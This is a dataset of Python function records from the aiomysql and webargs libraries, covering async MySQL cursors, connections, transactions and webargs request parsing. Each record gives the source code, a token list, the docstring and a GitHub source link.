async def execute(self, query, args=None): conn = self._get_db() while (await self.nextset()): pass if args is not None: query = query % self._escape_args(args, conn) await self._query(query) self._executed = query if self._echo: logger.info(query) logger.info("%r", args) return self._rowcount
[ "async", "def", "execute", "(", "self", ",", "query", ",", "args", "=", "None", ")", ":", "conn", "=", "self", ".", "_get_db", "(", ")", "while", "(", "await", "self", ".", "nextset", "(", ")", ")", ":", "pass", "if", "args", "is", "not", "None",...
Executes the given operation Executes the given operation substituting any markers with the given parameters. For example, getting all rows where id is 5: cursor.execute("SELECT * FROM t1 WHERE id = %s", (5,)) :param query: ``str`` sql statement :param args: ``tuple`` or ``list`` of arguments for sql query :returns: ``int``, number of rows that has been produced of affected
[ "Executes", "the", "given", "operation" ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/cursors.py#L218-L244
225,975
aio-libs/aiomysql
aiomysql/cursors.py
Cursor.executemany
async def executemany(self, query, args): """Execute the given operation multiple times The executemany() method will execute the operation iterating over the list of parameters in seq_params. Example: Inserting 3 new employees and their phone number data = [ ('Jane','555-001'), ('Joe', '555-001'), ('John', '555-003') ] stmt = "INSERT INTO employees (name, phone) VALUES ('%s','%s')" await cursor.executemany(stmt, data) INSERT or REPLACE statements are optimized by batching the data, that is using the MySQL multiple rows syntax. :param query: `str`, sql statement :param args: ``tuple`` or ``list`` of arguments for sql query """ if not args: return if self._echo: logger.info("CALL %s", query) logger.info("%r", args) m = RE_INSERT_VALUES.match(query) if m: q_prefix = m.group(1) q_values = m.group(2).rstrip() q_postfix = m.group(3) or '' assert q_values[0] == '(' and q_values[-1] == ')' return (await self._do_execute_many( q_prefix, q_values, q_postfix, args, self.max_stmt_length, self._get_db().encoding)) else: rows = 0 for arg in args: await self.execute(query, arg) rows += self._rowcount self._rowcount = rows return self._rowcount
python
async def executemany(self, query, args): if not args: return if self._echo: logger.info("CALL %s", query) logger.info("%r", args) m = RE_INSERT_VALUES.match(query) if m: q_prefix = m.group(1) q_values = m.group(2).rstrip() q_postfix = m.group(3) or '' assert q_values[0] == '(' and q_values[-1] == ')' return (await self._do_execute_many( q_prefix, q_values, q_postfix, args, self.max_stmt_length, self._get_db().encoding)) else: rows = 0 for arg in args: await self.execute(query, arg) rows += self._rowcount self._rowcount = rows return self._rowcount
[ "async", "def", "executemany", "(", "self", ",", "query", ",", "args", ")", ":", "if", "not", "args", ":", "return", "if", "self", ".", "_echo", ":", "logger", ".", "info", "(", "\"CALL %s\"", ",", "query", ")", "logger", ".", "info", "(", "\"%r\"", ...
Execute the given operation multiple times The executemany() method will execute the operation iterating over the list of parameters in seq_params. Example: Inserting 3 new employees and their phone number data = [ ('Jane','555-001'), ('Joe', '555-001'), ('John', '555-003') ] stmt = "INSERT INTO employees (name, phone) VALUES ('%s','%s')" await cursor.executemany(stmt, data) INSERT or REPLACE statements are optimized by batching the data, that is using the MySQL multiple rows syntax. :param query: `str`, sql statement :param args: ``tuple`` or ``list`` of arguments for sql query
[ "Execute", "the", "given", "operation", "multiple", "times" ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/cursors.py#L246-L290
225,976
aio-libs/aiomysql
aiomysql/cursors.py
SSCursor.fetchall
async def fetchall(self): """Fetch all, as per MySQLdb. Pretty useless for large queries, as it is buffered. """ rows = [] while True: row = await self.fetchone() if row is None: break rows.append(row) return rows
python
async def fetchall(self): rows = [] while True: row = await self.fetchone() if row is None: break rows.append(row) return rows
[ "async", "def", "fetchall", "(", "self", ")", ":", "rows", "=", "[", "]", "while", "True", ":", "row", "=", "await", "self", ".", "fetchone", "(", ")", "if", "row", "is", "None", ":", "break", "rows", ".", "append", "(", "row", ")", "return", "ro...
Fetch all, as per MySQLdb. Pretty useless for large queries, as it is buffered.
[ "Fetch", "all", "as", "per", "MySQLdb", ".", "Pretty", "useless", "for", "large", "queries", "as", "it", "is", "buffered", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/cursors.py#L635-L645
225,977
aio-libs/aiomysql
aiomysql/connection.py
Connection.close
def close(self): """Close socket connection""" if self._writer: self._writer.transport.close() self._writer = None self._reader = None
python
def close(self): if self._writer: self._writer.transport.close() self._writer = None self._reader = None
[ "def", "close", "(", "self", ")", ":", "if", "self", ".", "_writer", ":", "self", ".", "_writer", ".", "transport", ".", "close", "(", ")", "self", ".", "_writer", "=", "None", "self", ".", "_reader", "=", "None" ]
Close socket connection
[ "Close", "socket", "connection" ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/connection.py#L295-L300
225,978
aio-libs/aiomysql
aiomysql/connection.py
Connection.ensure_closed
async def ensure_closed(self): """Send quit command and then close socket connection""" if self._writer is None: # connection has been closed return send_data = struct.pack('<i', 1) + int2byte(COMMAND.COM_QUIT) self._writer.write(send_data) await self._writer.drain() self.close()
python
async def ensure_closed(self): if self._writer is None: # connection has been closed return send_data = struct.pack('<i', 1) + int2byte(COMMAND.COM_QUIT) self._writer.write(send_data) await self._writer.drain() self.close()
[ "async", "def", "ensure_closed", "(", "self", ")", ":", "if", "self", ".", "_writer", "is", "None", ":", "# connection has been closed", "return", "send_data", "=", "struct", ".", "pack", "(", "'<i'", ",", "1", ")", "+", "int2byte", "(", "COMMAND", ".", ...
Send quit command and then close socket connection
[ "Send", "quit", "command", "and", "then", "close", "socket", "connection" ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/connection.py#L302-L310
225,979
aio-libs/aiomysql
aiomysql/connection.py
Connection.cursor
def cursor(self, *cursors): """Instantiates and returns a cursor By default, :class:`Cursor` is returned. It is possible to also give a custom cursor through the cursor_class parameter, but it needs to be a subclass of :class:`Cursor` :param cursor: custom cursor class. :returns: instance of cursor, by default :class:`Cursor` :raises TypeError: cursor_class is not a subclass of Cursor. """ self._ensure_alive() self._last_usage = self._loop.time() try: if cursors and \ any(not issubclass(cursor, Cursor) for cursor in cursors): raise TypeError('Custom cursor must be subclass of Cursor') except TypeError: raise TypeError('Custom cursor must be subclass of Cursor') if cursors and len(cursors) == 1: cur = cursors[0](self, self._echo) elif cursors: cursor_name = ''.join(map(lambda x: x.__name__, cursors)) \ .replace('Cursor', '') + 'Cursor' cursor_class = type(cursor_name, cursors, {}) cur = cursor_class(self, self._echo) else: cur = self.cursorclass(self, self._echo) fut = self._loop.create_future() fut.set_result(cur) return _ContextManager(fut)
python
def cursor(self, *cursors): self._ensure_alive() self._last_usage = self._loop.time() try: if cursors and \ any(not issubclass(cursor, Cursor) for cursor in cursors): raise TypeError('Custom cursor must be subclass of Cursor') except TypeError: raise TypeError('Custom cursor must be subclass of Cursor') if cursors and len(cursors) == 1: cur = cursors[0](self, self._echo) elif cursors: cursor_name = ''.join(map(lambda x: x.__name__, cursors)) \ .replace('Cursor', '') + 'Cursor' cursor_class = type(cursor_name, cursors, {}) cur = cursor_class(self, self._echo) else: cur = self.cursorclass(self, self._echo) fut = self._loop.create_future() fut.set_result(cur) return _ContextManager(fut)
[ "def", "cursor", "(", "self", ",", "*", "cursors", ")", ":", "self", ".", "_ensure_alive", "(", ")", "self", ".", "_last_usage", "=", "self", ".", "_loop", ".", "time", "(", ")", "try", ":", "if", "cursors", "and", "any", "(", "not", "issubclass", ...
Instantiates and returns a cursor By default, :class:`Cursor` is returned. It is possible to also give a custom cursor through the cursor_class parameter, but it needs to be a subclass of :class:`Cursor` :param cursor: custom cursor class. :returns: instance of cursor, by default :class:`Cursor` :raises TypeError: cursor_class is not a subclass of Cursor.
[ "Instantiates", "and", "returns", "a", "cursor" ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/connection.py#L390-L420
225,980
aio-libs/aiomysql
aiomysql/connection.py
Connection.ping
async def ping(self, reconnect=True): """Check if the server is alive""" if self._writer is None and self._reader is None: if reconnect: await self._connect() reconnect = False else: raise Error("Already closed") try: await self._execute_command(COMMAND.COM_PING, "") await self._read_ok_packet() except Exception: if reconnect: await self._connect() await self.ping(False) else: raise
python
async def ping(self, reconnect=True): if self._writer is None and self._reader is None: if reconnect: await self._connect() reconnect = False else: raise Error("Already closed") try: await self._execute_command(COMMAND.COM_PING, "") await self._read_ok_packet() except Exception: if reconnect: await self._connect() await self.ping(False) else: raise
[ "async", "def", "ping", "(", "self", ",", "reconnect", "=", "True", ")", ":", "if", "self", ".", "_writer", "is", "None", "and", "self", ".", "_reader", "is", "None", ":", "if", "reconnect", ":", "await", "self", ".", "_connect", "(", ")", "reconnect...
Check if the server is alive
[ "Check", "if", "the", "server", "is", "alive" ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/connection.py#L443-L459
225,981
aio-libs/aiomysql
aiomysql/connection.py
Connection.write_packet
def write_packet(self, payload): """Writes an entire "mysql packet" in its entirety to the network addings its length and sequence number. """ # Internal note: when you build packet manually and calls # _write_bytes() directly, you should set self._next_seq_id properly. data = pack_int24(len(payload)) + int2byte(self._next_seq_id) + payload self._write_bytes(data) self._next_seq_id = (self._next_seq_id + 1) % 256
python
def write_packet(self, payload): # Internal note: when you build packet manually and calls # _write_bytes() directly, you should set self._next_seq_id properly. data = pack_int24(len(payload)) + int2byte(self._next_seq_id) + payload self._write_bytes(data) self._next_seq_id = (self._next_seq_id + 1) % 256
[ "def", "write_packet", "(", "self", ",", "payload", ")", ":", "# Internal note: when you build packet manually and calls", "# _write_bytes() directly, you should set self._next_seq_id properly.", "data", "=", "pack_int24", "(", "len", "(", "payload", ")", ")", "+", "int2byte"...
Writes an entire "mysql packet" in its entirety to the network addings its length and sequence number.
[ "Writes", "an", "entire", "mysql", "packet", "in", "its", "entirety", "to", "the", "network", "addings", "its", "length", "and", "sequence", "number", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/connection.py#L544-L552
225,982
aio-libs/aiomysql
aiomysql/connection.py
MySQLResult._read_rowdata_packet
async def _read_rowdata_packet(self): """Read a rowdata packet for each data row in the result set.""" rows = [] while True: packet = await self.connection._read_packet() if self._check_packet_is_eof(packet): # release reference to kill cyclic reference. self.connection = None break rows.append(self._read_row_from_packet(packet)) self.affected_rows = len(rows) self.rows = tuple(rows)
python
async def _read_rowdata_packet(self): rows = [] while True: packet = await self.connection._read_packet() if self._check_packet_is_eof(packet): # release reference to kill cyclic reference. self.connection = None break rows.append(self._read_row_from_packet(packet)) self.affected_rows = len(rows) self.rows = tuple(rows)
[ "async", "def", "_read_rowdata_packet", "(", "self", ")", ":", "rows", "=", "[", "]", "while", "True", ":", "packet", "=", "await", "self", ".", "connection", ".", "_read_packet", "(", ")", "if", "self", ".", "_check_packet_is_eof", "(", "packet", ")", "...
Read a rowdata packet for each data row in the result set.
[ "Read", "a", "rowdata", "packet", "for", "each", "data", "row", "in", "the", "result", "set", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/connection.py#L1204-L1216
225,983
aio-libs/aiomysql
aiomysql/connection.py
MySQLResult._get_descriptions
async def _get_descriptions(self): """Read a column descriptor packet for each column in the result.""" self.fields = [] self.converters = [] use_unicode = self.connection.use_unicode conn_encoding = self.connection.encoding description = [] for i in range(self.field_count): field = await self.connection._read_packet( FieldDescriptorPacket) self.fields.append(field) description.append(field.description()) field_type = field.type_code if use_unicode: if field_type == FIELD_TYPE.JSON: # When SELECT from JSON column: charset = binary # When SELECT CAST(... AS JSON): charset = connection # encoding # This behavior is different from TEXT / BLOB. # We should decode result by connection encoding # regardless charsetnr. # See https://github.com/PyMySQL/PyMySQL/issues/488 encoding = conn_encoding # SELECT CAST(... AS JSON) elif field_type in TEXT_TYPES: if field.charsetnr == 63: # binary # TEXTs with charset=binary means BINARY types. encoding = None else: encoding = conn_encoding else: # Integers, Dates and Times, and other basic data # is encoded in ascii encoding = 'ascii' else: encoding = None converter = self.connection.decoders.get(field_type) if converter is through: converter = None self.converters.append((encoding, converter)) eof_packet = await self.connection._read_packet() assert eof_packet.is_eof_packet(), 'Protocol error, expecting EOF' self.description = tuple(description)
python
async def _get_descriptions(self): self.fields = [] self.converters = [] use_unicode = self.connection.use_unicode conn_encoding = self.connection.encoding description = [] for i in range(self.field_count): field = await self.connection._read_packet( FieldDescriptorPacket) self.fields.append(field) description.append(field.description()) field_type = field.type_code if use_unicode: if field_type == FIELD_TYPE.JSON: # When SELECT from JSON column: charset = binary # When SELECT CAST(... AS JSON): charset = connection # encoding # This behavior is different from TEXT / BLOB. # We should decode result by connection encoding # regardless charsetnr. # See https://github.com/PyMySQL/PyMySQL/issues/488 encoding = conn_encoding # SELECT CAST(... AS JSON) elif field_type in TEXT_TYPES: if field.charsetnr == 63: # binary # TEXTs with charset=binary means BINARY types. encoding = None else: encoding = conn_encoding else: # Integers, Dates and Times, and other basic data # is encoded in ascii encoding = 'ascii' else: encoding = None converter = self.connection.decoders.get(field_type) if converter is through: converter = None self.converters.append((encoding, converter)) eof_packet = await self.connection._read_packet() assert eof_packet.is_eof_packet(), 'Protocol error, expecting EOF' self.description = tuple(description)
[ "async", "def", "_get_descriptions", "(", "self", ")", ":", "self", ".", "fields", "=", "[", "]", "self", ".", "converters", "=", "[", "]", "use_unicode", "=", "self", ".", "connection", ".", "use_unicode", "conn_encoding", "=", "self", ".", "connection", ...
Read a column descriptor packet for each column in the result.
[ "Read", "a", "column", "descriptor", "packet", "for", "each", "column", "in", "the", "result", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/connection.py#L1235-L1277
225,984
aio-libs/aiomysql
aiomysql/sa/transaction.py
Transaction.rollback
async def rollback(self): """Roll back this transaction.""" if not self._parent._is_active: return await self._do_rollback() self._is_active = False
python
async def rollback(self): if not self._parent._is_active: return await self._do_rollback() self._is_active = False
[ "async", "def", "rollback", "(", "self", ")", ":", "if", "not", "self", ".", "_parent", ".", "_is_active", ":", "return", "await", "self", ".", "_do_rollback", "(", ")", "self", ".", "_is_active", "=", "False" ]
Roll back this transaction.
[ "Roll", "back", "this", "transaction", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/transaction.py#L61-L66
225,985
aio-libs/aiomysql
aiomysql/sa/transaction.py
TwoPhaseTransaction.prepare
async def prepare(self): """Prepare this TwoPhaseTransaction. After a PREPARE, the transaction can be committed. """ if not self._parent.is_active: raise exc.InvalidRequestError("This transaction is inactive") await self._connection._prepare_twophase_impl(self._xid) self._is_prepared = True
python
async def prepare(self): if not self._parent.is_active: raise exc.InvalidRequestError("This transaction is inactive") await self._connection._prepare_twophase_impl(self._xid) self._is_prepared = True
[ "async", "def", "prepare", "(", "self", ")", ":", "if", "not", "self", ".", "_parent", ".", "is_active", ":", "raise", "exc", ".", "InvalidRequestError", "(", "\"This transaction is inactive\"", ")", "await", "self", ".", "_connection", ".", "_prepare_twophase_i...
Prepare this TwoPhaseTransaction. After a PREPARE, the transaction can be committed.
[ "Prepare", "this", "TwoPhaseTransaction", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/transaction.py#L152-L161
225,986
aio-libs/aiomysql
aiomysql/sa/connection.py
SAConnection.execute
def execute(self, query, *multiparams, **params): """Executes a SQL query with optional parameters. query - a SQL query string or any sqlalchemy expression. *multiparams/**params - represent bound parameter values to be used in the execution. Typically, the format is a dictionary passed to *multiparams: await conn.execute( table.insert(), {"id":1, "value":"v1"}, ) ...or individual key/values interpreted by **params:: await conn.execute( table.insert(), id=1, value="v1" ) In the case that a plain SQL string is passed, a tuple or individual values in \*multiparams may be passed:: await conn.execute( "INSERT INTO table (id, value) VALUES (%d, %s)", (1, "v1") ) await conn.execute( "INSERT INTO table (id, value) VALUES (%s, %s)", 1, "v1" ) Returns ResultProxy instance with results of SQL query execution. """ coro = self._execute(query, *multiparams, **params) return _SAConnectionContextManager(coro)
python
def execute(self, query, *multiparams, **params): coro = self._execute(query, *multiparams, **params) return _SAConnectionContextManager(coro)
[ "def", "execute", "(", "self", ",", "query", ",", "*", "multiparams", ",", "*", "*", "params", ")", ":", "coro", "=", "self", ".", "_execute", "(", "query", ",", "*", "multiparams", ",", "*", "*", "params", ")", "return", "_SAConnectionContextManager", ...
Executes a SQL query with optional parameters. query - a SQL query string or any sqlalchemy expression. *multiparams/**params - represent bound parameter values to be used in the execution. Typically, the format is a dictionary passed to *multiparams: await conn.execute( table.insert(), {"id":1, "value":"v1"}, ) ...or individual key/values interpreted by **params:: await conn.execute( table.insert(), id=1, value="v1" ) In the case that a plain SQL string is passed, a tuple or individual values in \*multiparams may be passed:: await conn.execute( "INSERT INTO table (id, value) VALUES (%d, %s)", (1, "v1") ) await conn.execute( "INSERT INTO table (id, value) VALUES (%s, %s)", 1, "v1" ) Returns ResultProxy instance with results of SQL query execution.
[ "Executes", "a", "SQL", "query", "with", "optional", "parameters", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/connection.py#L31-L69
225,987
aio-libs/aiomysql
aiomysql/sa/connection.py
SAConnection.scalar
async def scalar(self, query, *multiparams, **params): """Executes a SQL query and returns a scalar value.""" res = await self.execute(query, *multiparams, **params) return (await res.scalar())
python
async def scalar(self, query, *multiparams, **params): res = await self.execute(query, *multiparams, **params) return (await res.scalar())
[ "async", "def", "scalar", "(", "self", ",", "query", ",", "*", "multiparams", ",", "*", "*", "params", ")", ":", "res", "=", "await", "self", ".", "execute", "(", "query", ",", "*", "multiparams", ",", "*", "*", "params", ")", "return", "(", "await...
Executes a SQL query and returns a scalar value.
[ "Executes", "a", "SQL", "query", "and", "returns", "a", "scalar", "value", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/connection.py#L185-L188
225,988
aio-libs/aiomysql
aiomysql/sa/connection.py
SAConnection.begin_nested
async def begin_nested(self): """Begin a nested transaction and return a transaction handle. The returned object is an instance of :class:`.NestedTransaction`. Nested transactions require SAVEPOINT support in the underlying database. Any transaction in the hierarchy may .commit() and .rollback(), however the outermost transaction still controls the overall .commit() or .rollback() of the transaction of a whole. """ if self._transaction is None: self._transaction = RootTransaction(self) await self._begin_impl() else: self._transaction = NestedTransaction(self, self._transaction) self._transaction._savepoint = await self._savepoint_impl() return self._transaction
python
async def begin_nested(self): if self._transaction is None: self._transaction = RootTransaction(self) await self._begin_impl() else: self._transaction = NestedTransaction(self, self._transaction) self._transaction._savepoint = await self._savepoint_impl() return self._transaction
[ "async", "def", "begin_nested", "(", "self", ")", ":", "if", "self", ".", "_transaction", "is", "None", ":", "self", ".", "_transaction", "=", "RootTransaction", "(", "self", ")", "await", "self", ".", "_begin_impl", "(", ")", "else", ":", "self", ".", ...
Begin a nested transaction and return a transaction handle. The returned object is an instance of :class:`.NestedTransaction`. Nested transactions require SAVEPOINT support in the underlying database. Any transaction in the hierarchy may .commit() and .rollback(), however the outermost transaction still controls the overall .commit() or .rollback() of the transaction of a whole.
[ "Begin", "a", "nested", "transaction", "and", "return", "a", "transaction", "handle", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/connection.py#L260-L277
225,989
aio-libs/aiomysql
aiomysql/sa/connection.py
SAConnection.begin_twophase
async def begin_twophase(self, xid=None): """Begin a two-phase or XA transaction and return a transaction handle. The returned object is an instance of TwoPhaseTransaction, which in addition to the methods provided by Transaction, also provides a TwoPhaseTransaction.prepare() method. xid - the two phase transaction id. If not supplied, a random id will be generated. """ if self._transaction is not None: raise exc.InvalidRequestError( "Cannot start a two phase transaction when a transaction " "is already in progress.") if xid is None: xid = self._dialect.create_xid() self._transaction = TwoPhaseTransaction(self, xid) await self.execute("XA START %s", xid) return self._transaction
python
async def begin_twophase(self, xid=None): if self._transaction is not None: raise exc.InvalidRequestError( "Cannot start a two phase transaction when a transaction " "is already in progress.") if xid is None: xid = self._dialect.create_xid() self._transaction = TwoPhaseTransaction(self, xid) await self.execute("XA START %s", xid) return self._transaction
[ "async", "def", "begin_twophase", "(", "self", ",", "xid", "=", "None", ")", ":", "if", "self", ".", "_transaction", "is", "not", "None", ":", "raise", "exc", ".", "InvalidRequestError", "(", "\"Cannot start a two phase transaction when a transaction \"", "\"is alre...
Begin a two-phase or XA transaction and return a transaction handle. The returned object is an instance of TwoPhaseTransaction, which in addition to the methods provided by Transaction, also provides a TwoPhaseTransaction.prepare() method. xid - the two phase transaction id. If not supplied, a random id will be generated.
[ "Begin", "a", "two", "-", "phase", "or", "XA", "transaction", "and", "return", "a", "transaction", "handle", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/connection.py#L306-L327
225,990
aio-libs/aiomysql
aiomysql/sa/connection.py
SAConnection.rollback_prepared
async def rollback_prepared(self, xid, *, is_prepared=True): """Rollback prepared twophase transaction.""" if not is_prepared: await self.execute("XA END '%s'" % xid) await self.execute("XA ROLLBACK '%s'" % xid)
python
async def rollback_prepared(self, xid, *, is_prepared=True): if not is_prepared: await self.execute("XA END '%s'" % xid) await self.execute("XA ROLLBACK '%s'" % xid)
[ "async", "def", "rollback_prepared", "(", "self", ",", "xid", ",", "*", ",", "is_prepared", "=", "True", ")", ":", "if", "not", "is_prepared", ":", "await", "self", ".", "execute", "(", "\"XA END '%s'\"", "%", "xid", ")", "await", "self", ".", "execute",...
Rollback prepared twophase transaction.
[ "Rollback", "prepared", "twophase", "transaction", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/connection.py#L338-L342
225,991
aio-libs/aiomysql
aiomysql/sa/connection.py
SAConnection.commit_prepared
async def commit_prepared(self, xid, *, is_prepared=True): """Commit prepared twophase transaction.""" if not is_prepared: await self.execute("XA END '%s'" % xid) await self.execute("XA COMMIT '%s'" % xid)
python
async def commit_prepared(self, xid, *, is_prepared=True): if not is_prepared: await self.execute("XA END '%s'" % xid) await self.execute("XA COMMIT '%s'" % xid)
[ "async", "def", "commit_prepared", "(", "self", ",", "xid", ",", "*", ",", "is_prepared", "=", "True", ")", ":", "if", "not", "is_prepared", ":", "await", "self", ".", "execute", "(", "\"XA END '%s'\"", "%", "xid", ")", "await", "self", ".", "execute", ...
Commit prepared twophase transaction.
[ "Commit", "prepared", "twophase", "transaction", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/connection.py#L344-L348
225,992
aio-libs/aiomysql
aiomysql/sa/connection.py
SAConnection.close
async def close(self): """Close this SAConnection. This results in a release of the underlying database resources, that is, the underlying connection referenced internally. The underlying connection is typically restored back to the connection-holding Pool referenced by the Engine that produced this SAConnection. Any transactional state present on the underlying connection is also unconditionally released via calling Transaction.rollback() method. After .close() is called, the SAConnection is permanently in a closed state, and will allow no further operations. """ if self._connection is None: return if self._transaction is not None: await self._transaction.rollback() self._transaction = None # don't close underlying connection, it can be reused by pool # conn.close() self._engine.release(self) self._connection = None self._engine = None
python
async def close(self): if self._connection is None: return if self._transaction is not None: await self._transaction.rollback() self._transaction = None # don't close underlying connection, it can be reused by pool # conn.close() self._engine.release(self) self._connection = None self._engine = None
[ "async", "def", "close", "(", "self", ")", ":", "if", "self", ".", "_connection", "is", "None", ":", "return", "if", "self", ".", "_transaction", "is", "not", "None", ":", "await", "self", ".", "_transaction", ".", "rollback", "(", ")", "self", ".", ...
Close this SAConnection. This results in a release of the underlying database resources, that is, the underlying connection referenced internally. The underlying connection is typically restored back to the connection-holding Pool referenced by the Engine that produced this SAConnection. Any transactional state present on the underlying connection is also unconditionally released via calling Transaction.rollback() method. After .close() is called, the SAConnection is permanently in a closed state, and will allow no further operations.
[ "Close", "this", "SAConnection", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/connection.py#L355-L379
225,993
aio-libs/aiomysql
aiomysql/sa/result.py
ResultProxy.first
async def first(self): """Fetch the first row and then close the result set unconditionally. Returns None if no row is present. """ if self._metadata is None: self._non_result() try: return (await self.fetchone()) finally: await self.close()
python
async def first(self): if self._metadata is None: self._non_result() try: return (await self.fetchone()) finally: await self.close()
[ "async", "def", "first", "(", "self", ")", ":", "if", "self", ".", "_metadata", "is", "None", ":", "self", ".", "_non_result", "(", ")", "try", ":", "return", "(", "await", "self", ".", "fetchone", "(", ")", ")", "finally", ":", "await", "self", "....
Fetch the first row and then close the result set unconditionally. Returns None if no row is present.
[ "Fetch", "the", "first", "row", "and", "then", "close", "the", "result", "set", "unconditionally", "." ]
131fb9f914739ff01a24b402d29bfd719f2d1a8b
https://github.com/aio-libs/aiomysql/blob/131fb9f914739ff01a24b402d29bfd719f2d1a8b/aiomysql/sa/result.py#L427-L437
225,994
marshmallow-code/webargs
src/webargs/core.py
get_value
def get_value(data, name, field, allow_many_nested=False): """Get a value from a dictionary. Handles ``MultiDict`` types when ``multiple=True``. If the value is not found, return `missing`. :param object data: Mapping (e.g. `dict`) or list-like instance to pull the value from. :param str name: Name of the key. :param bool multiple: Whether to handle multiple values. :param bool allow_many_nested: Whether to allow a list of nested objects (it is valid only for JSON format, so it is set to True in ``parse_json`` methods). """ missing_value = missing if allow_many_nested and isinstance(field, ma.fields.Nested) and field.many: if is_collection(data): return data if not hasattr(data, "get"): return missing_value multiple = is_multiple(field) val = data.get(name, missing_value) if multiple and val is not missing: if hasattr(data, "getlist"): return data.getlist(name) elif hasattr(data, "getall"): return data.getall(name) elif isinstance(val, (list, tuple)): return val if val is None: return None else: return [val] return val
python
def get_value(data, name, field, allow_many_nested=False): missing_value = missing if allow_many_nested and isinstance(field, ma.fields.Nested) and field.many: if is_collection(data): return data if not hasattr(data, "get"): return missing_value multiple = is_multiple(field) val = data.get(name, missing_value) if multiple and val is not missing: if hasattr(data, "getlist"): return data.getlist(name) elif hasattr(data, "getall"): return data.getall(name) elif isinstance(val, (list, tuple)): return val if val is None: return None else: return [val] return val
[ "def", "get_value", "(", "data", ",", "name", ",", "field", ",", "allow_many_nested", "=", "False", ")", ":", "missing_value", "=", "missing", "if", "allow_many_nested", "and", "isinstance", "(", "field", ",", "ma", ".", "fields", ".", "Nested", ")", "and"...
Get a value from a dictionary. Handles ``MultiDict`` types when ``multiple=True``. If the value is not found, return `missing`. :param object data: Mapping (e.g. `dict`) or list-like instance to pull the value from. :param str name: Name of the key. :param bool multiple: Whether to handle multiple values. :param bool allow_many_nested: Whether to allow a list of nested objects (it is valid only for JSON format, so it is set to True in ``parse_json`` methods).
[ "Get", "a", "value", "from", "a", "dictionary", ".", "Handles", "MultiDict", "types", "when", "multiple", "=", "True", ".", "If", "the", "value", "is", "not", "found", "return", "missing", "." ]
40cc2d25421d15d9630b1a819f1dcefbbf01ed95
https://github.com/marshmallow-code/webargs/blob/40cc2d25421d15d9630b1a819f1dcefbbf01ed95/src/webargs/core.py#L97-L130
225,995
marshmallow-code/webargs
src/webargs/core.py
Parser._validated_locations
def _validated_locations(self, locations): """Ensure that the given locations argument is valid. :raises: ValueError if a given locations includes an invalid location. """ # The set difference between the given locations and the available locations # will be the set of invalid locations valid_locations = set(self.__location_map__.keys()) given = set(locations) invalid_locations = given - valid_locations if len(invalid_locations): msg = "Invalid locations arguments: {0}".format(list(invalid_locations)) raise ValueError(msg) return locations
python
def _validated_locations(self, locations): # The set difference between the given locations and the available locations # will be the set of invalid locations valid_locations = set(self.__location_map__.keys()) given = set(locations) invalid_locations = given - valid_locations if len(invalid_locations): msg = "Invalid locations arguments: {0}".format(list(invalid_locations)) raise ValueError(msg) return locations
[ "def", "_validated_locations", "(", "self", ",", "locations", ")", ":", "# The set difference between the given locations and the available locations", "# will be the set of invalid locations", "valid_locations", "=", "set", "(", "self", ".", "__location_map__", ".", "keys", "(...
Ensure that the given locations argument is valid. :raises: ValueError if a given locations includes an invalid location.
[ "Ensure", "that", "the", "given", "locations", "argument", "is", "valid", "." ]
40cc2d25421d15d9630b1a819f1dcefbbf01ed95
https://github.com/marshmallow-code/webargs/blob/40cc2d25421d15d9630b1a819f1dcefbbf01ed95/src/webargs/core.py#L192-L205
225,996
marshmallow-code/webargs
src/webargs/core.py
Parser.parse_arg
